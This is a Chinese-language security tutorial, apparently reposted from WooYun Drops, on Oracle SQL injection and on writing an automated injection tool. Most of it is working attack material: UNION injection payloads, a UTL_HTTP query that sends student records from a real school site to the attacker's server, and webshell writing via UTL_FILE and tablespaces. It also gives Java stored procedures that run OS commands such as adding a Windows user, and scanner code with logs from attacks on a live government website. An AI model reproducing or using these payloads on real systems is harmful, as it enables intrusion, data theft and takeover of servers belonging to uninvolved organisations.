<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/288

            注:這一節主要是介紹Oracle和SQL注入工具相關,本應該是和前面的Mysql一起但是由于章節過長了沒法看,所以就分開了。


            0x00 Oracle


            Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。

            Oracle對于MYSQL、MSSQL來說意味著更大的數據量,更大的權限。這一次我們依舊使用上面的代碼,數據庫結構平移到Oracle上去,數據庫名用的默認的orcl,字段"corps_desc" 從text改成了VARCHAR2(4000),JSP內的驅動和URL改成了對應的Oracle。 ? enter image description here

            Jsp頁面代碼: ? enter image description here

            開始注入:

            Union +order by 永遠都是最快捷最實用的,而盲注什么的太費時費力了。

            依舊提交order by 去猜測顯示當前頁面所用的SQL查詢了多少個字段,也就是確認查詢字段數。

            分別提交http://localhost/SqlInjection/index.jsp?id=1 AND 1=1?id=1 AND 1=12 得到的頁面明顯不一致,1=12頁面沒有任何數據,即1=12為false沒查詢到任何結果。 ? enter image description here

            http://localhost/SqlInjection/index.jsp?id=1 AND 1=12
            

            ?enter image description here

            提交:http://localhost/SqlInjection/index.jsp?id=1 ORDER BY 4-- 頁面正常,提交:?id=1 ORDER BY 5--報錯說明字段數肯定是4。

            Order by 5爆出的錯誤信息: ? enter image description here

            使用union 進行聯合查詢:

            Oracle的dual表:

            dual是一個虛擬表,用來構成select的語法規則,oracle保證dual里面永遠只有一條記錄,在Oracle注入中用途可謂廣泛。

            Oracle union 查詢 tips:

            Oracle 在使用union 查詢的跟Mysql不一樣Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比較嚴格的類型要求。也就是說你union select的要和前面的

            SELECT * from "corps" where "id" = 1 
            

            當中查詢的字段類型一致。我們已知查詢的第二個字段是corps_name,對應的數據類型是:VARCHAR2(100),也就是字符型。當我們傳入整型的數字時就會報錯。比如當我們提交union查詢時提交如下SQL注入語句:

            http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,2,NULL,NULL FROM dual--
            

            enter image description here

            Oracle當中正確的注入方式用NULL去占位在我們未知哪個字段是什么類型的時候:

            http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL FROM dual--
            

            當已知第一個字段是整型的時候:

            http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,NULL,NULL,NULL FROM dual--
            

            SQL執行后的占位效果: ? enter image description here

            根據我們之前注入Mysql的經驗,我們現在要盡可能多的去獲取服務器信息和數據庫,比如數據庫版本、權限等。

            在講Mysql注入的時候已經說道要合理利用工具,在Navicat客戶端執行select * from session_roles結果: ? enter image description here

            Oracle查詢分頁tips:

            不得不說Oracle查詢分頁的時候沒有Mysql那么方便,Oracle可不能limit 0,1而是通過三層查詢嵌套的方式實現分頁(查詢第一條數據“>=0<=1”取交集不就是1么?我數學5分黨,如果有關數學方面的東西講錯了各位莫怪):

            SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0 
            

            enter image description here

            在Oracle里面沒有類似于Mysql的group_concat,用分頁去取數據,不過有更加簡單的方法。

            用UNION SELECT 查詢:
            http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--
            

            enter image description here

            ?不過我得告訴你,UNION SELECT查詢返回的是多個結果,而在正常的業務邏輯當中我們取一條新聞是直接放到對應的實體當中的,比如我們查詢的wooyun的廠商表:corps,那么我們做查詢的很有可能是抽象出一個corps對象,在DAO層取得到單個的參數結果集,如果有多個要么報錯,要么取出第一條。然后再到controller層把查詢的結果放到請求里面。最終在輸出的時候自然也就只能拿到單個的corps實體,這也是視圖層只做展示把業務邏輯和視圖分開的好處之一,等講到MVC的時候試著給不懂的朋友解釋一下。

            再來看一下我們丑陋的在頁面展示數據的代碼: ? enter image description here

            接下來的任務就是收集信息了,上面我們已經收集到數據庫所有的用戶的用戶名和我們當前用戶的權限。

            獲取所有的數據庫表:

            http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CHR(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR(68)||CHR(83)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)||CHR(84)||CHR(84),CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77),CHR(87)||CHR(77)||CHR(83)||CHR(89)||CHR(83))—
            

            連接符我用的是-轉換成編碼也就是45 ? enter image description here

            已列舉出所有的表名: ? enter image description here

            當UNION ALL SELECT 不起作用的時候我們可以用上面的Oracle分頁去挨個讀取,缺點就是效率沒有UNION ALL SELECT高。

            信息版本獲取:

            http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual—
            

            enter image description here

            獲取啟動Oracle的用戶名:

            select SYS_CONTEXT ('USERENV','OS_USER') from dual;
            

            服務器監聽IP:

            select utl_inaddr.get_host_address from dual;
            

            服務器操作系統:

            select member from v$logfile where rownum=1;
            

            當前連接用戶:

            select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;
            

            獲取當前連接的數據庫名:

            select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual;
            

            關于獲取敏感的表和字段說明:

            1、獲取所有的字段schema:

            select * from user_tab_columns
            

            2、獲取當前用戶權限下的所有的表:

            SELECT * FROM  User_tables
            

            上述SQL通過添加Where條件就能獲取到常見注入的敏感信息,請有心學習的同學按照上面的MYSQL注入時通過information_schema獲取敏感字段的方式去學習user_tab_columns和FROM User_tables表。 ? enter image description here ? enter image description here

            Oracle高級注入:

            1、友情備份

            在講Mysql的時候提到過怎么在注入點去構造SQL語句去實現友情備份,在去年注入某大牛學校的教務處的時候我想到了一個簡單有效的SQL注入點友情備份數據庫的方法。沒錯就是利用Oracle的utl_http包。Oracle的確是非常的強大,utl_http就能過直接對外發送Http請求。我們可以利用utl_http去SQL注入,那么我們一樣可以利用utl_http去做友情備份。

            構建以下SQL注入語句:

            http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME)
            

            UTL_HTTP 會帶著查詢數據庫的結果去請求我們的URL,也就是我注入點上寫的URL。Tips:UTL_HTTP是一條一條的去請求的,所以會跟數據庫保持一個長連接。而數據量過大的話會導致數據丟失,如果想完整的友情備份這種方法并不是特別可行。只用在瀏覽器上請求這個注入點Oracle會自動的把自己的褲子送上門來那種感覺非常的好。

            ?enter image description here

            使用UTL_HTTP友情備份效果圖: ? enter image description here

            utl_http在注入的時候怎么去利用同理,由于我也沒有去深入了解utl_http或許他還有其他的更實用的功能等待你去發現。

            使用UTL_FILE友情備份:

            創建目錄:

            create or replace directory cux_log_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/ROOT/selina';  
            

            導出數據到文件:

            declare
                frw   utl_file.file_type;
                begin
                    frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w');
                    for rec in (select * from admin) loop
                        utl_file.put_line(frw,rec.id||','||rec.password);
                    end loop;
                    utl_file.fclose(frw);
                end;
            /
            

            效果圖: ? enter image description here

            GetShell

            之前的各種Oracle文章似乎都提過怎樣去getshell,其實方法倒是有的。但是在Java里面你要想拿到WEB的根路徑比那啥還難。但是PHP什么的就不一樣了,PHP里面爆個路徑完全是家常便飯。因為數據庫對開發語言的無關系,所以或許我們在某些場合下以下的getshell方式也是挺不錯的。

            在有Oracle連接權限沒有webshell時候通過utl_file獲取shell

            (當然用戶必須的具有創建DIRECTORY的權限):

            ?enter image description here

            執行:

            create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
            

            當然了as后面跟的肯定是你的WEB路徑。

            執行以下SQL語句:

            創建目錄:

            create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
            

            寫入shell到指定目錄:注意directory在這里一定要大寫:

            declare
                frw   utl_file.file_type;
                begin
                    frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w');
                    utl_file.put_line(frw,'hello world.');
                    utl_file.fclose(frw);
                end;
            /
            

            enter image description here

            在低權限下getshell: ? enter image description here

            執行以下SQL創建表空間:

            create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging ;
            CREATE TABLE SHELL(C varchar2(100)) tablespace shell;
            insert into SHELL values('hello world');
            commit;
            alter tablespace shell offline;
            drop tablespace shell including contents;
            

            這方法是能寫文件,但是好像沒發現我的hello world,難道是我打開方式不對?

            Oracle SQLJ編譯執行Java代碼:

            眾所周知,由于sun那只土鱉不爭氣居然被oracle給收購了。

            不過對Oracle來說的確是有有不少優勢的。

            SQLJ是一個與Java編程語言緊密集成的嵌入式SQL的版本,這里"嵌入式SQL"是用來在其宿主通用編程語言如C、C++、Java、Ada和COBOL)中調用SQL語句。SQL翻譯器用SQLJ運行時庫中的調用來替代嵌入式SQLJ語句,該運行時庫真正實現SQL操作。這樣翻譯的結果是得到一個可使用任何Java翻譯器進行編譯的Java源程序。一旦Java源程序被編譯,Java執行程序就可在任何數據庫上運行。SQLJ運行環境由純Java實現的小SQLJ運行庫(小,意指其中包括少量的代碼)組成,該運行時庫轉而調用相應數據庫的JDBC驅動程序。

            SQLJ可以這樣玩:首先創建一個類提供一個靜態方法: ? enter image description here

            其中的getShell是我們的方法名,p和才是參數,p是路徑,而c是要寫的文件內容。在創建Java存儲過程的時候方法類型必須是靜態的static

            執行以下SQL創建Java儲存過程:

            create or replace and compile
            java source named "getShell"
            as public class GetShell {public static int getShell(String p, String c) {int RC = -1;try {new java.io.FileOutputStream(p).write(c.getBytes());RC = 1;} catch (Exception e) {e.printStackTrace();}return RC;}}
            

            創建函數:

            create or replace
            function getShell(p in varchar2, c in varchar2) return number
            as
            language java
            name 'util.getShell(java.lang.String, java.lang.String) return Integer';
            

            創建存儲過程:

            create or replace procedure RC(p in varChar, c in varChar)
            as
            x number;
            begin
            x := getShell(p,c);
            end;
            

            授予Java權限:

            variable x number;
            set serveroutput on;
            exec dbms_java.set_output(100000);
            grant javasyspriv to system;
            grant javauserpriv to system;
            

            寫webshell:

            exec :x:=getShell('d:/3.txt','selina');
            

            enter image description here

            SQLJ執行cmd命令:

            方法這里和上面幾乎大同小異,一樣的提供一個靜態方法,然后去創建一個存儲過程。然后調用Java里的方法去執行命令。

            創建Java存儲過程:

            create or replace and compile java source named "Execute" as   
            import java.io.BufferedReader;
            import java.io.InputStreamReader;
            
            public class Execute {
                public static void executeCmd(String c) {
                    try {
                        String l="",t;
                        BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk"));
                        while((t=br.readLine())!=null){
                            l+=t+"\n";
                        }
                        System.out.println(l);
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
            

            創建存儲過程executeCmd:

            create or replace procedure executeCmd(c in varchar2)
            as
            language java name 'Execute.executeCmd(java.lang.String)';
            

            執行存儲過程:

            exec executeCmd('net user selina 123 /add');
            

            enter image description here

            上面提供的命令執行和getshell創建方式對換一下就能回顯了,如果好不清楚怎么讓命令執行后回顯可以參考:

            http://hi.baidu.com/xpy_home/item/09cbd9f3fd30ef0585d27833

            一個不錯的SQLJ的demo(犀利的 oracle 注入技術)。

            http://huaidan.org/archives/2437.html

            0x01 自動化的SQL注入工具實現


            通過上面我們對數據庫和SQL注入的熟悉,現在可以自行動手開發注入工具了吧?

            很久以前非常粗糙的寫了一個SQL注入工具類,就當作demo給大家做個演示了。

            僅提供核心代碼,案例中的gov網站請勿非常攻擊!

            簡單的SQL Oder by 注入實現的方式核心代碼:

            1、分析

            URLpublic static void AnalysisUrls(String site) throws Exception
            

            這個方法主要是去分析URL的組成是否靜態化等。

            2、檢測是否存在:

            這個做的粗糙了些,只是通過請求提交不同的SQL注入語句去檢測頁面返回的情況:

            /**
                 * 分析SQL參數是否存在注入
                 * @param str
                 */
                public static void  AnalysisUrlDynamicParamSqlInjection(String str[]) {
                    Map<String,Object> content,content2;
                    sqlKey = new ArrayList<Object>();
                    content = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的請求包
                    int len1 = content.get("content").toString().length();//原始請求的response長度
                    boolean typeIsNumber = false;
                    String c1[] = {"'","-1",")\"\"\"\"\"()()",")+ANd+3815=3835+ANd+(1471=1471",") ANd+9056=9056+ANd+(9889=9889"," ANd+6346=6138 "," ANd+9056=9056"};//需要檢查的對象
                    for (int i = 0; i < str.length; i++) {
                        typeIsNumber = StringUtil.isNotEmpty(str[i].split("="))&&StringUtil.isNum(str[i].split("=")[1])?true:false;
                        for (int j = 0; j < c1.length; j++) {
                            content2 = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter.replace(str[i], str[i].split("=")[0]+"="+str[i].split("=")[1]+c1[j]));
                            if (len1 != content2.get("content").toString().length()||(Integer)content2.get("status")!=200) {
                                existsInjection = true;
                                sqlKey.add(str[i]);
                                break ;
                            }
                        }
                    }
                    if (existsInjection) {
            //              System.out.println(existsInjection?"Site:"+url+" 可能存在"+(typeIsNumber?"int":"String")+"型Sql注入"+"SQL注入.":"Not Found.");
                        getSelectColumnCount(str);
                        getDatabaseInfo();
                    }
                }
            

            檢測過程主要發送了幾次請求,一次正常的請求和N次帶有SQL注入的請求。如果SQL注入的請求和正常請求的結果不一致(有不可控因素,比如SQLMAP的實現方式就有去計算頁面是否穩定,從而讓檢測出來的結果更加準確)就可能是存在SQL注入。

            日志如下:

            url:http://www.tchjbh.gov.cn:80//news_display.php
            param:id=148
            url:http://www.tchjbh.gov.cn:80//news_display.php
            param:id=148'
            url:http://www.tchjbh.gov.cn:80//news_display.php
            param:id=148
            

            獲取字段數主要是通過:

            /**
                 * 獲取查詢字段數
                 * @param str
                 */
                public static int getSelectColumnCount(String str[]){
                    Map<String,Object> sb = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的請求包
                    int len1 = sb.get("content").toString().length();//原始請求的response長度
                    int count = -1;
                    for (Object o : sqlKey) {
                        count = getSbCount(o.toString(), len1);//計算字段
                    }
                    return count;
                }
            
            /**
                 *獲取order by 字段數
                 * @param key
                 * @param len1
                 * @return
                 */
                public static int getSbCount(String key,int len1){
                    System.out.println("-----------------------end:"+end+"-----------------------------");
                    Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
                    if (1 == end|| len1==((String)sb.get("content")).length()&&200==(Integer)sb.get("status")) {
                        System.out.println("index:"+end);
                        start = end;
                        for (int i = start; i < 2*start+1; i++) {
                            System.out.println("************開始精確匹配*****************");
                            Map<String,Object> sb2 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
                            Map<String,Object> sb3 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+(end+1)+"+%23"));
                            if (((String)sb3.get("content")).length()!=((String)sb2.get("content")).length()&&200==(Integer)sb2.get("status")) {
                                System.out.println("order by 字段數為:"+end);
                                sbCount = end;//設置字段長度為當前檢測出來的長度
                                return index = end;
                            }else {
                                end++;
                            }
                        }
                    }else {
                        end = end/2;
                        getSbCount(key, len1);
                    }
                    return index;
                }
            

            利用檢測是否存在SQL注入的原理同樣能過檢測出查詢的字段數。我們通過二分去order一個by 一個數然后去請求分析頁面一致性。然后不停的去修改數值最終結果相等即可獲得字段數。上面的分析的代碼挺簡單的,有興趣的同學自己去看。日志如下:

            ************開始精確匹配*****************
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+15+%23
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+16+%23
            ************開始精確匹配*****************
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+16+%23
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+17+%23
            ************開始精確匹配*****************
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+17+%23
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+18+%23
            ************開始精確匹配*****************
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+18+%23
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+19+%23
            ************開始精確匹配*****************
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+19+%23
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+20+%23
            ************開始精確匹配*****************
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+20+%23
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+21+%23
            ************開始精確匹配*****************
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+21+%23
            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148+orDer+By+22+%23
            order by 字段數為:21
            skey:id=148
            

            在知道了字段數后我們就可以通過構建關鍵字的方式去獲取SQL注入查詢的結果,我們的目的無外乎就是不停的遞交SQL注入語句,把我們想要得到的數據庫的信息展示在頁面,然后我們通過自定義的關鍵字去取回信息到本地:

            /**
                 * 測試,獲取數據庫表信息
                 */
                public static void getDatabaseInfo(){
                    String skey = sqlKey.get(0).toString();
                    System.out.println("skey:"+skey);
                    StringBuilder union = new StringBuilder();
                    for (int i = 0; i < sbCount; i++) {
                        union.append("concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),");
                    }
                    Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(skey, skey+("-1+UnIon+SeleCt+"+(union.delete(union.length()-1, union.length()))+"%23")));
                    String rs = ((String)sb.get("content"));
                    String user = rs.substring(rs.lastIndexOf("[user]")+6,rs.lastIndexOf("[/user]"));
                    String version = rs.substring(rs.lastIndexOf("[version]")+9,rs.lastIndexOf("[/version]"));
                    String database = rs.substring(rs.lastIndexOf("[database]")+10,rs.lastIndexOf("[/database]"));
                    System.err.println("user:"+user);
                    System.err.println("version:"+version);
                    System.err.println("database:"+database);
                }
            

            代碼執行的日志:

            url:http://www.tchjbh.gov.cn/news_display.php
            param:id=148-1+UnIon+SeleCt+concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]')%23
            user:[email protected]
            version:5.1.56-community
            database:tchjbh
            


            0x02 模擬SQL注入分析注入工具原理


            下面這個演示是針對想自己拓展上面寫的SQL注入工具的同學。這次我才用的是PHP語言去弄清SQL注入工具的具體實現。數據庫采用的是wordpress的結構,數據庫結構如下,建議在本地先安裝好wordpress任意版本:

            ?enter image description here

            代碼如下:

            <!DOCTYPE html>
            <html xmlns="http://www.w3.org/1999/xhtml">
            <head>
            <meta http-equiv="Content-Type" content="text/html; charset=gbk" />
            <style>
                .main{margin:0 auto;width:980px;border:1px dashed }
                .title{line-height:25px; text-align:center; font-size:18px; font-weight:500}
                pre{text-indent: 2em; margin:20px auto 10px 20px;}
            </style>
            <title></title>
            </head>
            <body>
            <div class="main">
            <?php
                extract($_GET);//to Map
                if(!empty($id)){
                    $con = mysql_connect("localhost","root","111111");//連接數據庫
                    $db_selected = mysql_select_db("wps",$con);//選擇數據庫
                    mysql_query("SET NAMES 'GBK'"); //設置編碼
                    $sql = "SELECT * from wps_posts where ID = ".$id;//查詢文章語句
                    echo  "<font color=red>".$sql."</font>";//打印SQL
            
                    /*截取SQL注入工具的SQL*/
                     $paths="getsql.txt";//定義要生成的html路徑
                     $handles=fopen($paths,"a");//以可寫方式打開路徑
                     fwrite($handles,$sql."\t\t\n\n\n");//寫入內容
                     fclose($handles);//關閉打開的文件
            
                    $result = mysql_query($sql,$con);//執行查詢
                    /*結果遍歷*/
                    while ($row=mysql_fetch_array($result)) {
                        echo  "<div class=title>".$row['post_title']."</div>";//把結果輸出到界面
                        echo  "<pre>".$row['post_content']."</pre>";//文章內容
                    }
                    mysql_close($con);//關閉數據庫連接
                }
            ?>
            </div>
            </body>
            </html>
            

            建立好數據庫和表之后訪問(由于我采用的是自己的wp博客,所有有大量的測試數據如果沒有數據建議安裝個wordpress方便以后的測試): ? enter image description here

            SQL注入測試:

            ?enter image description here

            讓我們來看下m4xmysql究竟在SQL注入點提交了那些數據,點擊start我們的PHP程序會自動在同目錄下生成一個getsql.txt打開后發現我們截獲到如下SQL:

            ?enter image description here

            enter image description here

            看起來不算多,因為我沒有自動換行,以上是在獲取數據庫相關信息。

            讓我來帶著大家翻譯這些SQL都做了些什么:

            /*檢測該URL是否存在SQL注入*/
            SELECT * from wps_posts where ID = 739 and 1=0      
            SELECT * from wps_posts where ID = 739 and 1=1      
            
            /*這條sql開始查詢的字段數,請注意是查詢的字段數而不是表的字段數!*/
            
            SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d)--
            
            SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d)--       
            
            SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d)--     
            /*........................省去其中的無數次字段長度匹配嘗試................................*/
            
            /*匹配出來SELECT * from wps_posts where ID = 739一共查詢了10個字段*/
            /*那么他是怎么判斷出字段數10就是查詢的長度的呢?答案很簡單提交以下SQL占位10個頁面顯示正常而前面提交的都錯誤所以得到的數量自然就是10了。獲取請求的http status或許應該就行了*/
            
            SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d),concat(0x5b68345d,3,0x5b2f68345d),concat(0x5b68345d,4,0x5b2f68345d),concat(0x5b68345d,5,0x5b2f68345d),concat(0x5b68345d,6,0x5b2f68345d),concat(0x5b68345d,7,0x5b2f68345d),concat(0x5b68345d,8,0x5b2f68345d),concat(0x5b68345d,9,0x5b2f68345d),concat(0x5b68345d,10,0x5b2f68345d),concat(0x5b68345d,11,0x5b2f68345d),concat(0x5b68345d,12,0x5b2f68345d),concat(0x5b68345d,13,0x5b2f68345d),concat(0x5b68345d,14,0x5b2f68345d),concat(0x5b68345d,15,0x5b2f68345d),concat(0x5b68345d,16,0x5b2f68345d),concat(0x5b68345d,17,0x5b2f68345d),concat(0x5b68345d,18,0x5b2f68345d),concat(0x5b68345d,19,0x5b2f68345d),concat(0x5b68345d,20,0x5b2f68345d),concat(0x5b68345d,21,0x5b2f68345d),concat(0x5b68345d,22,0x5b2f68345d)--
            

            以上的SQL完成了注入點(http://localhost/Test/1.php?id=739執行的SELECT * from wps_posts where ID = 739)的類型、是否存在和字段數量的檢測 里面有許多的0x5b2f68345d轉換過來其實就是占位符,為了讓工具扒下源代碼后能夠在頁面類找到具有特殊意義的字符并進行截取:

            enter image description here ? 如果你足夠聰明或仔細會發現他這樣寫有點浪費資源,因為他的order 是從1一直遞增到爭取的長度的假如字段特別長(一般情況下還是很少出現的)可能要執行幾十個甚至是更多的HTTP請求,如果這里使用二分法或許可以很好的解決吧。

            我們接著往下看(還是點擊start后發送的請求):

            /*獲取數據庫相關信息*/
            SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d)--
            

            這玩意到底是什么神秘的東西呢?我們不妨在Navicat和FireFox里面瞅瞅:

